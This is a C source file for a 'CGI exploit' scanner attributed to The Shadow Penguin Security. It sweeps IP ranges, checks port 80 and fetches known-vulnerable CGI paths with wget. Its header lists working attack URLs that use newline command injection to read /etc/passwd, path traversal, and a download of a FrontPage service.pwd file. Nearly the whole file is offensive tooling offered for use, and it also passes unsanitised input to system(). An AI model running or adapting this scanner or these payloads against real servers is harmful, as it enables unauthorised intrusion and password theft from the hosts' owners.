/*=============================================================================
  CGI seculity holes scanner - CGI exploit Ver1.10
  The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  Written by UNYUN (shadowpenguin@backsection.net)
                            
  *Target Hole
    phf、test-cgi、nph-test-cgi、campas、htmlscript、service.pwd

  *Test
  http://www.hoge.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  http://www.hoge.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
  http://www.hoge.com/cgi-bin/nph-test-cgi?/*
  http://www.hoge.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd
  http://www.hoge.com/cgi-bin/htmlscript?../../../../etc/passwd
  http://www.hoge.com/_vti_pvt/service.pwd
  ------------------------------------------------------------
*/
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
/*
#include <netinet/in.h>
#include <netdb.h>
*/

#define     LOGNAME     "cgiexp.log"
#define     TIMEOUT_V   2       /* Connection Timeout value */
#define     MAX_IPLEN   16
#define     MAX_URLLEN  1000

                                /* exploitable CGI holes (easy to add) */
static char         *holes[]={  "cgi-bin/phf",
                                "cgi-bin/test-cgi",
                                "cgi-bin/nph-test-cgi",
                                "cgi-bin/campas",
                                "cgi-bin/htmlscript",
                                "_vti_pvt/service.pwd",
                                "END"};

int     sock;

main(int argc,char *argv[])
{
    int             separation(char *,unsigned long *);
    void            attack(char *,FILE *);
    int             i,j;
    unsigned long   ips,ipe,ip;
    char            ipb[MAX_IPLEN],buf[MAX_IPLEN],buf2[MAX_IPLEN];
    char            cmd[MAX_URLLEN];
    FILE            *fpw,*fpl;

    printf("CGI seculity holes scanner - CGI exploit Ver1.10\n");
    printf("The Shadow Penguin Security Inc.\n\n");

    if (argc==2){
        if ((fpl=fopen(argv[1],"r"))==NULL){
            printf("File not found '%s'\n",argv[1]);
            exit(1);
        }
    }else{
        printf("Start IP address : "); 
        scanf("%s",buf);

        if (separation(buf,&ips)==-1){
            printf("Error : Invalid IP address\n");
            exit(1);
        }
        printf("End IP address : "); 
        scanf("%s",buf2);

        if (separation(buf2,&ipe)==-1){
            printf("Error : Invalid IP address\n");
            exit(1);
        }
    }
    if ((fpw=fopen(LOGNAME,"w"))==NULL){
        printf("File write error '%s'\n",LOGNAME);
        exit(1);
    }
    if (argc==2){
        for (;;){
            if (feof(fpl)) break;
            fscanf(fpl,"%s",ipb);
            attack(ipb,fpw);
        }
        fclose(fpl);
    }else{
        for (ip=ips;ip<=ipe;ip++){
            sprintf(ipb,"%lu.%lu.%lu.%lu",ip>>24,(ip&0x00ff0000)>>16,
                                      (ip&0x0000ff00)>>8, ip&0x000000ff);
            attack(ipb,fpw);
        }
    }
    fclose(fpw);
}

void    attack(char *ipb,FILE *fpw)
{
    int             flag;
    int             i,j;
    char            cmd[MAX_URLLEN];
    FILE            *fp;
    int             portscan(int, char *);

    printf("%15s...",ipb);
    fprintf(fpw,"%15s...",ipb);
    if (portscan(80,ipb)==0){
        flag=0;
        for (i=0;;i++){
            if (strcmp(holes[i],"END")==0) break;
            for (j=strlen(holes[i])-1;j>=0;j--)
                if (holes[i][j]=='/') break;
            j++;
            remove(holes[i]+j);
            sprintf(cmd,"wget -nv %s/%s",ipb,holes[i]);
            system(cmd);
            if ((fp=fopen(holes[i]+j,"r"))!=NULL){
                if (flag==0){
                    printf("\n");
                    fprintf(fpw,"\n");
                }
                printf("Hit!! Running '%s'\n",holes[i]+j);
                fprintf(fpw,"Hit!! Running '%s'\n",holes[i]+j);
                fclose(fp);
                flag++;
            }
        }
        if (flag==0){
            printf("no holes\n");
            fprintf(fpw,"no holes\n");
        }
    }else{
        printf("\n");
        fprintf(fpw,"\n");
    }
}

int separation(char *ipaddr,unsigned long *ipl)
{
    int             i,j,n;
    char            buf[MAX_IPLEN];
    int             ip[4];
    unsigned long   d;

    for (n=0,j=0,i=0;i<=strlen(ipaddr);i++){
        if (ipaddr[i]=='.' || i==strlen(ipaddr)){
            buf[j]=0;
            ip[n]=atoi(buf);
            if (ip[n]<0 || ip[n]>255) return (-1);
            n++; j=0;
        }else{
            buf[j]=ipaddr[i];
            j++;
        }
    }
    if (n!=4) return (-1);
    d=256;
    *ipl=ip[3]+ip[2]*d+ip[1]*d*d+ip[0]*d*d*d;
    return(0);
}

int   portscan(int port, char *ipaddr)
{
    struct sockaddr_in  addr, server; 
    void                timeoutfunc();

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0){
        printf("Socket creation error");
        return(-1);
    }

    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = 0;

    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0) {
        close(sock);
        printf("Bind error ");
        return (-2);
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(ipaddr);
    addr.sin_port = htons(port);

    signal(SIGALRM, timeoutfunc);
    alarm(TIMEOUT_V);

    if (connect(sock,(struct sockaddr *)&addr,sizeof(addr))!=0){
        close(sock);
        return (-3);
    }
    close(sock);
    return (0);
}
void    timeoutfunc()
{
    close(sock);
}

